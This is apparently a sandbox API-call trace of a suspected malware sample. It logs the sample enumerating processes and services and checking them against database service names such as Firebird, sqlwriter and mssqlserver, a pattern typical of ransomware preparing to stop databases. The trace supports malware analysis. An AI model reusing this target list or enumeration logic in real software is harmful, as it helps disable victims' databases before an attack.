	[0187.023] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0187.023] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0187.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0187.023] lstrlenW (lpString="SysMain") returned 7
	[0187.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0187.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0187.023] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0187.023] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0187.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0187.023] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0187.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0187.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0187.023] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0187.023] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0187.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0187.023] lstrlenW (lpString="Themes") returned 6
	[0187.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0187.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0187.023] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0187.023] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0187.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0187.023] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0187.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0187.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0187.023] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0187.023] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0187.024] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2d0
	[0187.028] Process32FirstW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0187.029] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0187.029] lstrlenW (lpString="System") returned 6
	[0187.029] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0187.029] lstrlenW (lpString="smss.exe") returned 8
	[0187.029] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0187.030] lstrlenW (lpString="csrss.exe") returned 9
	[0187.030] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0187.030] lstrlenW (lpString="wininit.exe") returned 11
	[0187.030] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0187.031] lstrlenW (lpString="csrss.exe") returned 9
	[0187.031] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0187.031] lstrlenW (lpString="winlogon.exe") returned 12
	[0187.031] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0187.032] lstrlenW (lpString="services.exe") returned 12
	[0187.032] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0187.032] lstrlenW (lpString="lsass.exe") returned 9
	[0187.032] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0187.032] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0187.033] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0187.033] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0187.033] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.033] lstrlenW (lpString="svchost.exe") returned 11
	[0187.033] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.034] lstrlenW (lpString="svchost.exe") returned 11
	[0187.034] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0187.034] lstrlenW (lpString="dwm.exe") returned 7
	[0187.034] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.035] lstrlenW (lpString="svchost.exe") returned 11
	[0187.035] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.035] lstrlenW (lpString="svchost.exe") returned 11
	[0187.035] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.036] lstrlenW (lpString="svchost.exe") returned 11
	[0187.036] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.036] lstrlenW (lpString="svchost.exe") returned 11
	[0187.036] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.036] lstrlenW (lpString="svchost.exe") returned 11
	[0187.036] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.037] lstrlenW (lpString="svchost.exe") returned 11
	[0187.037] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.037] lstrlenW (lpString="svchost.exe") returned 11
	[0187.037] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.038] lstrlenW (lpString="svchost.exe") returned 11
	[0187.038] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.038] lstrlenW (lpString="svchost.exe") returned 11
	[0187.038] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.039] lstrlenW (lpString="svchost.exe") returned 11
	[0187.039] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0187.039] lstrlenW (lpString="spoolsv.exe") returned 11
	[0187.039] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.039] lstrlenW (lpString="svchost.exe") returned 11
	[0187.039] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0187.040] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0187.040] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0187.040] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0187.040] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0187.041] lstrlenW (lpString="audiodg.exe") returned 11
	[0187.041] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0187.041] lstrlenW (lpString="Memory Compression") returned 18
	[0187.041] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0187.042] lstrlenW (lpString="taskhostw.exe") returned 13
	[0187.042] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0187.042] lstrlenW (lpString="sihost.exe") returned 10
	[0187.042] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.042] lstrlenW (lpString="svchost.exe") returned 11
	[0187.042] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0187.043] lstrlenW (lpString="taskhostw.exe") returned 13
	[0187.043] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0187.043] lstrlenW (lpString="explorer.exe") returned 12
	[0187.043] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0187.044] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0187.044] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0187.044] lstrlenW (lpString="SearchUI.exe") returned 12
	[0187.044] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0187.045] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0187.045] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0187.045] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0187.045] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0187.045] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0187.045] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0187.046] lstrlenW (lpString="dllhost.exe") returned 11
	[0187.046] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0187.046] lstrlenW (lpString="dllhost.exe") returned 11
	[0187.046] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0187.047] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0187.047] Process32NextW (in: hSnapshot=0x2d0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 0
	[0187.047] CloseHandle (hObject=0x2d0) returned 1
	[0187.047] Sleep (dwMilliseconds=0x1f4) 
	[0188.229] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3929fe8
	[0188.229] EnumServicesStatusExW (in: hSCManager=0x3929fe8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 0
	[0188.230] GetLastError () returned 0xea
	[0188.230] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c30) returned 0x76c0c0
	[0188.230] EnumServicesStatusExW (in: hSCManager=0x3929fe8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x76c0c0, cbBufSize=0x1c30, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x76c0c0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 1
	[0188.231] CloseServiceHandle (hSCObject=0x3929fe8) returned 1
	[0188.231] lstrlenW (lpString="Appinfo") returned 7
	[0188.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0188.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0188.231] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0188.231] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0188.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0188.231] lstrlenW (lpString="AppXSvc") returned 7
	[0188.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0188.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0188.231] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0188.232] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0188.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0188.232] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0188.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0188.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0188.232] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0188.232] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0188.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0188.232] lstrlenW (lpString="Audiosrv") returned 8
	[0188.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0188.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0188.232] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0188.232] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0188.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0188.232] lstrlenW (lpString="BFE") returned 3
	[0188.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0188.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0188.232] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0188.232] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0188.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0188.232] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0188.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0188.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0188.232] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0188.232] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0188.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0188.232] lstrlenW (lpString="CDPSvc") returned 6
	[0188.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0188.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0188.232] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0188.232] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0188.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0188.232] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0188.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0188.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0188.232] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0188.233] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0188.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0188.233] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0188.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0188.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0188.233] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0188.233] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0188.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0188.233] lstrlenW (lpString="CryptSvc") returned 8
	[0188.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0188.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0188.233] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0188.233] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0188.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0188.233] lstrlenW (lpString="DcomLaunch") returned 10
	[0188.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0188.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0188.233] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0188.233] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0188.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0188.233] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0188.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0188.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0188.233] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0188.233] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0188.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0188.233] lstrlenW (lpString="Dhcp") returned 4
	[0188.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0188.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0188.233] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
